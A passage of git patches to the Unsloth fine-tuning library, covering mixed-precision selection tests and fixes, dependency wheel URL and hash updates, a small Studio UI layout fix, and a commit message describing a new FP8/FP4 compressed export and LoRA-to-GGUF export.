+        sys.modules.setdefault("unsloth_zoo", types.ModuleType("unsloth_zoo"))
+        sys.modules["unsloth_zoo.utils"] = uzu
+        sys.modules["unsloth_zoo.device_type"] = uzd
+        for k in env_keys:
+            os.environ.pop(k, None)
+        os.environ["UNSLOTH_FORCE_FLOAT32"] = "1" if force_float32 else "0"
+        os.environ["UNSLOTH_ENABLE_FULL_FINETUNING"] = "1" if full_finetuning else "0"
+        os.environ["UNSLOTH_MIXED_PRECISION"] = mixed_precision
+        torch.cuda.is_bf16_supported = lambda *a, **k: bf16_supported
+        args = types.SimpleNamespace(fp16 = fp16, bf16 = bf16, mixed_precision = None)
+        emb = types.SimpleNamespace(weight = types.SimpleNamespace(dtype = dtype))
+        model = types.SimpleNamespace(
+            config = types.SimpleNamespace(dtype = dtype, torch_dtype = dtype),
+            get_input_embeddings = lambda: emb,
+        )
+        raised = None
+        try:
+            exec(CODE, {"torch": torch, "os": os}, {"args": args, "model": model})
+        except TypeError:
+            raised = "TypeError"
+        return args.fp16, args.bf16, os.environ.get("ACCELERATE_MIXED_PRECISION"), raised
+    finally:
+        torch.cuda.is_bf16_supported = orig_bf16
+        _restore(os.environ, saved_env)
+        _restore(sys.modules, saved_mods)
+
+
+def test_v100_normal_fullft_fp16_explicit():
+    # Normal model, full FT (weights upcast to float32), V100, fp16=True.
+    fp16, bf16, amp, raised = _decide(
+        torch.float32,
+        bf16_supported = False,
+        force_float32 = False,
+        full_finetuning = True,
+        mixed_precision = "float32",
+        fp16 = True,
+        bf16 = False,
+    )
+    assert raised is None
+    assert (fp16, bf16) == (True, False)  # float32 weights + fp16 forward
+
+
+def test_v100_normal_fullft_precision_unset():
+    # Same, but user left precision unset -> must pick fp16, never bf16.
+    fp16, bf16, amp, raised = _decide(
+        torch.float32,
+        bf16_supported = False,
+        force_float32 = False,
+        full_finetuning = True,
+        mixed_precision = "float32",
+        fp16 = False,
+        bf16 = False,
+    )
+    assert raised is None
+    assert (fp16, bf16) == (True, False)
+    assert amp == "fp16"
+
+
+def test_force_float32_model_fullft_is_pure_float32():
+    # FORCE_FLOAT32 model (Gemma3, gpt_oss, ...) in full FT -> pure float32, no autocast.
+    fp16, bf16, amp, raised = _decide(
+        torch.float32,
+        bf16_supported = False,
+        force_float32 = True,
+        full_finetuning = True,
+        mixed_precision = "float32",
+        fp16 = True,
+        bf16 = False,
+    )
+    assert raised is None
+    assert (fp16, bf16) == (False, False)
+    assert amp in (None, "no")
+
+
+def test_no_bf16_on_volta_in_auto_branch():
+    # bf16 model dtype but no bf16 HW, precision unset -> fp16, never bf16.
+    fp16, bf16, amp, raised = _decide(
+        torch.bfloat16,
+        bf16_supported = False,
+        force_float32 = False,
+        full_finetuning = False,
+        mixed_precision = "float32",
+        fp16 = False,
+        bf16 = False,
+    )
+    assert bf16 is False
+
+
+def test_bf16_gpu_unchanged_auto_branch():
+    # Regression guard: on a bf16 GPU, a float32 model with unset precision
+    # still selects bf16 autocast (behavior must not change for bf16 hardware).
+    fp16, bf16, amp, raised = _decide(
+        torch.float32,
+        bf16_supported = True,
+        force_float32 = False,
+        full_finetuning = True,
+        mixed_precision = "float32",
+        fp16 = False,
+        bf16 = False,
+    )
+    assert raised is None
+    assert (fp16, bf16) == (False, True)
+
+
+def test_genuine_bf16_model_with_fp16_still_raises():
+    # A real bfloat16 model on bf16 HW with fp16 requested is a genuine mismatch.
+    _, _, _, raised = _decide(
+        torch.bfloat16,
+        bf16_supported = True,
+        force_float32 = False,
+        full_finetuning = False,
+        mixed_precision = "float32",
+        fp16 = True,
+        bf16 = False,
+    )
+    assert raised == "TypeError"
diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index a85c1d08a4..53668d14d8 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -994,8 +994,18 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             "use_fp16 = getattr(args, 'fp16', False)\n"
             "if type(use_fp16) is not bool: use_fp16 = False\n"
             "force_float32 = False\n"
+            # device-aware bf16 check (CUDA/XPU/HIP), so V100/T4 never pick bf16
+            # but AMD/Intel are unaffected; fall back on older unsloth_zoo.
+            "try:\n"
+            "    from unsloth_zoo.device_type import device_is_bf16_supported as _bf16_supported\n"
+            "except Exception:\n"
+            "    _bf16_supported = torch.cuda.is_bf16_supported\n"
+            # FORCE_FLOAT32 models (Gemma3, gpt_oss, ...) cannot use float16. On a GPU without
+            # bf16 (V100/T4) keep them in float32 so they never autocast to fp16. On a bf16 GPU,
+            # full finetuning can still use bf16 autocast (master weights stay float32), which is
+            # faster and uses less memory; LoRA/QLoRA keep float32 when forced.
             "full_finetuning = os.environ.get('UNSLOTH_ENABLE_FULL_FINETUNING', '0') == '1'\n"
-            "if not full_finetuning and (os.environ.get('UNSLOTH_FORCE_FLOAT32', '0') == '1'):\n"
+            "if os.environ.get('UNSLOTH_FORCE_FLOAT32', '0') == '1' and not (full_finetuning and _bf16_supported()):\n"
             "    print('Unsloth: Switching to float32 training since model cannot work with float16')\n"
             "    force_float32 = True\n"
             "mixed_precision_dtype = os.environ.get('UNSLOTH_MIXED_PRECISION', 'float32')\n"
@@ -1004,8 +1014,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             "from unsloth_zoo.utils import _get_dtype\n"
             "dtype = _get_dtype(dtype)\n"
             "float16 = dtype == torch.float16\n"
+            "bfloat16 = dtype == torch.bfloat16\n"
             "if not force_float32 and (float16 and use_bf16): raise TypeError('Unsloth: Model is in float16 precision but you want to use bfloat16 precision. Set fp16 to `True` and bf16 to `False`')\n"
-            "if not force_float32 and (not float16 and use_fp16): raise TypeError('Unsloth: Model is in bfloat16 precision but you want to use float16 precision. Set fp16 to `False` and bf16 to `True`')\n"
+            "if not force_float32 and (bfloat16 and use_fp16): raise TypeError('Unsloth: Model is in bfloat16 precision but you want to use float16 precision. Set fp16 to `False` and bf16 to `True`')\n"
             "if force_float32:\n"
             "    # Forced float32 training\n"
             "    args.fp16 = False\n"
@@ -1014,11 +1025,12 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             "    if hasattr(args, 'mixed_precision'): args.mixed_precision = 'no'\n"
             "    # args.mixed_precision is a new argument which needs to be set now\n"
             "elif (not use_bf16 and not use_fp16) and mixed_precision_dtype == 'float32':\n"
-            "    # Mixed precision training\n"
-            "    args.fp16 = float16\n"
-            "    args.bf16 = not float16\n"
-            "    os.environ['ACCELERATE_MIXED_PRECISION'] = 'fp16' if float16 else 'bf16'\n"
-            "    if hasattr(args, 'mixed_precision'): args.mixed_precision = 'fp16' if float16 else 'bf16'\n"
+            "    # Mixed precision training. bf16 only if the GPU supports it; V100/T4 use fp16.\n"
+            "    use_bf16_amp = (not float16) and _bf16_supported()\n"
+            "    args.fp16 = not use_bf16_amp\n"
+            "    args.bf16 = use_bf16_amp\n"
+            "    os.environ['ACCELERATE_MIXED_PRECISION'] = 'bf16' if use_bf16_amp else 'fp16'\n"
+            "    if hasattr(args, 'mixed_precision'): args.mixed_precision = 'bf16' if use_bf16_amp else 'fp16'\n"
             "    # args.mixed_precision is a new argument which needs to be set now\n"
             "elif mixed_precision_dtype == 'bfloat16':\n"
             "    # Both False since bfloat16 full finetuning doesn't do any autocasting.\n"

From 27b66b2efeee60498876f9870f4022cbae868a27 Mon Sep 17 00:00:00 2001
From: Yuwen Hu <54161268+Oscilloscope98@users.noreply.github.com>
Date: Tue, 30 Jun 2026 05:38:30 +0800
Subject: [PATCH 152/306] Fix outdated triton-xpu 3.7.1 sha256 hashes in
 intel-gpu-torch2120 extra (#6629)

---
 pyproject.toml | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pyproject.toml b/pyproject.toml
index 13c421d8ea..76b87349af 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1174,14 +1174,14 @@ intelgputorch2120 = [
     "unsloth_zoo[intelgpu]",
     "unsloth[huggingfacenotorch]",
 
-    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=844d981cb1b3948085e8cfa62c74de9f100259f6131959aa70be49123b88ae81 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
-    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a16b1d00e94ad87d62af3512e390348b8656419598004100c56028bf494f086b ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
-    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4e46e71e077cf483404a4c17ce40d71c5f0e13a81459139d4346ca427b1dd455 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'",
-    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4fdaed1bafc51d3a2834656a3420a6686a74ea226508765a49bf15d58ff3a930 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'",
-    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=2778b46b22e9fa0916398db299a125027a1b2331c1173b3dd2b9e2cab6263a31 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
-    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=ad5b147d04ee0d40f3d4d32f85f5aa3a3beb6cd5799ca026d3d7f4afa3d9e24f ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
-    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=d9482063af2a308543f23333e32edd738ea87cbb33ade68afda9ae0fd704ccd9 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
-    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=5d4d67f0deb1e851c01b293e602b8dcddad26ca2be61221cee3dc0e1aa0cdefd ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
+    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=81ff0eb0c4fc8e19d2510b28c3e1d9382a3c7d6fdaf6a9f9631a93a030d841cf ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
+    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=55574a68d275b85cd4d5cbf185084bae019ebf09c3f43b0bd2831b14935ec8e7 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
+    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a31c058c5c2e78ebe490a2e69f2f50caec6b1307ac096e944f116fdc06819d9a ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'",
+    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=e701a31efa0334775f357c98716f3821775aa944219f7888e13c2dfe2daabe2a ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'",
+    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=0d7730651c3e52fbf3a430cc201455f0c6600dc72e681aec495f131ea44f341a ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
+    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=8f4a63de73e3d632098f93c8f0bd77244958a47d7c5f728b8ff35f8a91fdb983 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
+    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=6589ece3adc2b1ab88d90ff1267afc25df5c7b868f0b633e732cac70df36cbde ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
+    "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=2fdf001a9b0575e8b1827127259bb9b13bf36e659882be74c2dfab46597d3e7a ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
 
     "torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=e8923cd1fe560472904b1461b745d2f1826bb9c1bc0808225d5f28a450e4d553 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'",
     "torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=f7c082b2fc9b61def594d30ea57762dc4a8bc7111a9a9593953ed948de242e28 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",

From f62c26e63d28c218c579c29a87e96d32ccde2eae Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 29 Jun 2026 14:45:26 -0700
Subject: [PATCH 153/306] Fix stale xformers and flash-attn wheel URLs (#4213)

Co-authored-by: Jeffrey Cruz <jeffrey.cruz@me.com>
---
 pyproject.toml | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/pyproject.toml b/pyproject.toml
index 76b87349af..844ead2454 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -255,10 +255,6 @@ cu118onlytorch270 = [
     "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; python_version=='3.10' and ('linux' in sys_platform)",
     "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)",
     "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)",
-    "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')",
-    "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')",
-    "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')",
-    "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')",
 ]
 cu126onlytorch270 = [
     "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)",
@@ -282,7 +278,6 @@ cu128onlytorch270 = [
 ]
 cu118onlytorch271 = [
     "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)",
-    "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')",
 ]
 cu126onlytorch271 = [
     "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)",
@@ -879,14 +874,12 @@ flashattentiontorch240abiFALSEcu12x = [
     "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'",
     "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'",
     "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'",
-    "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'",
 ]
 flashattentiontorch240abiTRUEcu12x = [
     "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'",
     "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'",
     "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'",
     "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'",
-    "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'",
 ]
 intelgputorch260 = [
     "unsloth_zoo[intelgpu]",

From 32f28b2180a87c333bf5f7e32523c572526f4c41 Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Tue, 30 Jun 2026 15:56:33 +0530
Subject: [PATCH 154/306] Studio: keep "Fine-tuned" compare label clear of the
 floating top right controls (#6755)

* fix header overlap

* fix

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/frontend/src/features/chat/chat-page.tsx | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 2511fc9eec..cd7cfc77fc 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -606,7 +606,7 @@ const LoraCompareContent = memo(function LoraCompareContent({
           handleName="lora"
           borderClassName="border-t border-border/60 md:border-t-0 md:border-l"
           header={
-            <div className="shrink-0 px-3 py-1.5 text-start md:text-end">
+            <div className="shrink-0 px-3 py-1.5 text-start md:text-end md:pr-[calc(4rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]">
               <span className="text-[10px] font-semibold uppercase tracking-wider text-primary">
                 Fine-tuned
               </span>

From 9369dd47e6777bd6b3ece55109127627e47c7908 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 30 Jun 2026 03:40:16 -0700
Subject: [PATCH 155/306] Add FP8/FP4 compressed export to
 save_pretrained_merged (#6706)

* Add FP8/FP4 compressed export to save_pretrained_merged

Adds compressed-tensors export (for vLLM) to save_pretrained_merged /
push_to_hub_merged via llm-compressor, alongside the existing lora /
merged_16bit / merged_4bit / gguf / torchao paths:

    model.save_pretrained_merged("model", tokenizer, save_method="fp8")

Supported save_method values: fp8 (FP8_DYNAMIC), mxfp4, nvfp4 (W4A4) and
mxfp8. The LoRA is merged to 16bit at save_directory, then a quantized
checkpoint is written to save_directory + "-<fmt>". nvfp4 needs a small
calibration set (defaults to ultrachat, overridable via calibration_dataset).

Notes:
- llm-compressor is installed lazily on first use, pinning the current torch
  and transformers via a constraints file so they are not upgraded (a plain
  install pulls transformers>=5 and breaks Unsloth).
- Quantization runs in a separate process (unsloth/_compressed_quantize.py,
  launched by file path) so Unsloth's transformers attention patches do not
  interfere with the forward llm-compressor runs during calibration, mirroring
  how GGUF export shells out to llama.cpp.
- mxfp8 needs a newer llm-compressor (transformers>=5); it is recognised and
  raises a clear error until that stack is available.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: main-process guard, calibration subsampling, tokenizer + dtype handling

- Route the 16bit merge through unsloth_generic_save for both LoRA and full
  finetuned models, so non-PEFT models are written in 16bit consistently
  instead of saving the original (possibly quantized) weights directly.
- Honor is_main_process: only the main process quantizes and writes the
  compressed output, so distributed ranks do not race on the same dirs.
- Subsample an in-memory calibration Dataset before save_to_disk so large
  training sets are not fully copied to a temp dir.
- Tolerate a missing tokenizer in the converter (data-free exports); still
  require one for calibration based schemes.
- Open config.json via a context manager in both files.
- Drop the redundant nvfp4 entry from the unsupported-name check (fp4 covers it).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add direct LoRA to GGUF export and harden FP8/FP4 compressed export

- Run llm-compressor install and scheme check before the 16bit merge so
  unsupported schemes (e.g. mxfp8) fail fast without writing a checkpoint
- Only the main process installs, merges, quantizes and uploads; isolate
  hub pushes to a temp dir and clean all temp dirs in a finally
- Forward standard save kwargs (state_dict, max_shard_size, ...) to the merge
- Fall back to the first dataset split for Hub calibration ids
- Export LoRA adapters to GGUF via convert_lora_to_gguf.py: modernize
  save_pretrained_ggml/push_to_hub_ggml and add save_method="lora" to
  save_pretrained_gguf/push_to_hub_gguf; resolve base from the adapter config

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix LoRA GGUF shell-injection test and compressed export trailing-slash path

- Update tests/saving/test_save_shell_injection.py for the new delegation: the
  LoRA to GGUF conversion now lives in _unsloth_save_lora_gguf, so assert it
  passes argv as a list with no shell=True and that the legacy ggml wrappers
  delegate to it instead of calling subprocess.Popen directly
- Normalize the local save_directory before building the "<dir>-<fmt>" sibling
  so a trailing slash no longer nests the compressed output inside the 16bit dir

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Polish FP8/FP4 and LoRA GGUF export after review

- Warn (not silently downgrade) when an explicit quantization_method is not a
  valid LoRA GGUF outtype; default stays f16
- Correct the inference hardware note: MXFP8 is 8-bit (cc >= 8.9), only FP4
  needs Blackwell for full activation quantization
- Document that a local fp8/fp4 save keeps the 16bit merge at save_directory
  and writes the quantized checkpoint to save_directory + "-<fmt>"

* Use sequential calibration pipeline and validate Hub access early

- nvfp4 calibration no longer forces the memory-hungry "basic" pipeline. The
  quantization runs in a clean subprocess, so llm-compressor's default
  sequential pipeline (layer-by-layer onloading) works and lets large models
  that do not fit at once still calibrate; fall back to "basic" only if tracing
  fails
- For push_to_hub compressed exports, create/validate the repo up front so a bad
  token or denied repo fails before the merge and quantization instead of after

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden compressed export: explicit sequential pipeline, base-tokenizer calibration, GPU memory

- nvfp4 calibration now passes pipeline="sequential" explicitly (layer-by-layer
  onloading) instead of relying on the inferred default, with a "basic" fallback
- Calibration datasets with a messages column no longer require a chat template:
  base / non-chat tokenizers fall back to concatenating message contents
- Free the in-memory model's CUDA memory before the quantize subprocess loads its
  own copy from disk (best-effort, single-device non-quantized only; restored
  afterward), so a single GPU need not hold two copies at once
- Create the calibration temp dir in the system temp location instead of next to
  the save directory, avoiding stray dirs in the workspace

* Free the failed calibration model before the basic-pipeline retry

In the sequential -> basic NVFP4 fallback, release the partially-processed model
and clear the CUDA cache before loading a fresh copy, so the retry does not
transiently hold two model copies on the GPU.

* Harden calibration data handling and compressed-export edge cases

- Calibration messages without a chat template now handle multimodal (list)
  content, None content, and null message rows instead of crashing on join
- Raise a clear error when the calibration dataset is empty after subsampling
- Reset llm-compressor's global session before freeing the model in the
  sequential -> basic NVFP4 fallback, so the old model is actually released
- LoRA GGUF export accepts a single-element list quantization_method
- Attach datasets metadata to the pushed repo on compressed hub exports
- Warn (instead of silently) if the model cannot be restored to its device
- Raise a clear error if the LoRA base model id cannot be determined

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Handle DatasetDict calibration, MoE routers, and MTP models in compressed export

- Reduce an in-memory DatasetDict calibration set to a single split before row
  subsampling, so save_to_disk does not copy every split to the temp dir
- For MoE models, keep the router/gate unquantized and pass
  moe_calibrate_all_experts so every expert is calibrated
- Warn when a model carries MTP / speculative-decoding tensors that the
  compressed export does not include

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Support many more compressed-tensors schemes and address review

- Expand save_method to cover the full set of compressed-tensors preset schemes:
  FP8 (dynamic/static/block), INT8, W8A8, W8A16, W4A16(+asym), W4A8, W4AFP8,
  MXFP4(+A16), NVFP4(+A16), plus the gated MXFP8; calibration is used only for
  the static-activation schemes (FP8 static, NVFP4)
- Broaden the near-miss save_method error to cover int/w-prefixed names
- MoE: also keep the Qwen shared-expert gate unquantized
- Strip non-model-input columns from already-tokenized calibration data so the
  collator does not choke on a leftover messages column
- Forward the Hub token to the LoRA converter and the quantize subprocess so
  gated/private base models and calibration datasets work without a global login

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Collapse compressed-tensors export help line so ruff-format converges

The print line in print_quantization_methods needed two ruff-format passes to
reach a fixpoint (merge implicit string concat, then collapse the single-arg
print). pre-commit.ci applies one pass per run, so it kept reformatting. Land
the converged single-line form directly.

* Add CPU-only regression tests for the export API

Cover all export paths without a GPU, for slow CPU-only CI:
- pure-function checks of the compressed-tensors scheme registry and save_method
  normalization (aliases, calibration flags, near-miss errors)
- AST checks that every merged saver dispatches compressed export, the GGUF savers
  expose the lora branch, torchao routes PTQ/QAT, the public methods stay attached,
  and the export subprocesses remain shell-safe (argv list, sys.executable, no shell)
- monkeypatched dispatch checks that fp8/nvfp4/merged_16bit, the LoRA-GGUF outtype
  resolution, and torchao PTQ/QAT reach the right helper with the right arguments

* Run the CPU-only export tests in consolidated CI

tests/saving is --ignored by the Repo tests (CPU) job, so the new GPU-free export
tests are added by path to consolidated-tests-ci.yml (collection sanity + Bucket-A run),
alongside the existing CPU saving tests, so they actually execute on CPU CI.

* Add GPU GGUF export + llama-cli inference smoke test

tests/saving/test_gguf_export_and_inference.py: skipif no CUDA. Trains a tiny
phrase-imprinting LoRA, exports a full-model q8_0 GGUF (merge -> convert_hf_to_gguf
-> llama-quantize), asserts a valid GGUF (magic + size), and - when a llama-cli
binary is available - runs one bounded generation (byte cap + watchdog kill) and
asserts the trained phrase round-trips through HF -> GGUF -> quantize -> inference.
The llama-cli step skips gracefully since the export only builds llama-quantize.

* Fix variant mismatch in compressed (FP8/FP4) export

save_pretrained_merged(..., save_method=fp8/nvfp4, variant=...) forwarded
the variant into the intermediate 16bit merge, so Transformers wrote
variant-named shards (model.<variant>.safetensors). The converter
subprocess then reloaded that directory with the default weight filenames,
so the compressed export failed after doing the merge.

Pop the variant out of the intermediate merge (internal staging that the
subprocess reloads with default names) and forward it via --variant so it
is applied to the final compressed checkpoint instead. Add a CPU AST guard
for the contract.

* Harden export paths from review

- install_llm_compressor: fall back to uv pip when this interpreter has no
  pip seeded (uv-created/relocatable venvs), instead of failing with
  No module named pip.
- LoRA GGUF export: if convert_lora_to_gguf.py is missing (a prebuilt or
  reused CWD llama.cpp install carries binaries but not the converter
  script), force a dedicated source checkout that ships it.
- push_to_hub_gguf(save_method=lora): return on non-main ranks, matching the
  local save_pretrained_gguf lora branch, so only rank 0 converts/uploads.
- compressed export VLM detection: require a vision_config or a
  ForVisionText2Text architecture; a bare *ForConditionalGeneration also
  matches text seq2seq models (T5/BART/Whisper) and is no longer treated as
  a VLM on its own.
- GGUF GPU smoke test: drop SFTConfig(max_length=1024), which raises under
  newer TRL padding-free training; length enforcement is not needed here.

* Add imatrix option to GGUF export, enabling IQ low-bit quants

save_pretrained_gguf / push_to_hub_gguf gain imatrix_file:
  None        -> no imatrix (unchanged)
  '/path'     -> pass to llama-quantize --imatrix (a *.gguf_file is renamed to *.gguf)
  True        -> download the upstream unsloth/<base>-GGUF imatrix (imatrix_unsloth.dat or
                 .gguf_file), raising a clear error if none exists

An importance matrix unlocks the IQ low-bit quants (iq2_xxs, iq4_xs, ...), which were hard
disabled before. They are gated: requesting one without an imatrix raises a clear error.

- _resolve_imatrix_file resolves path/True (PEFT base first, normalized via get_model_name,
  derives unsloth/<base>-GGUF, copies out of the HF cache before renaming *.gguf_file).
- IMATRIX_QUANTS registry replaces the old commented-out IQ entries; save_to_gguf accepts a
  resolved imatrix and threads it into the quantize calls.
- The --imatrix flag is emitted by unsloth_zoo's quantize_gguf (companion change). save.py
  fails fast with an upgrade hint if the installed unsloth_zoo lacks the imatrix kwarg.

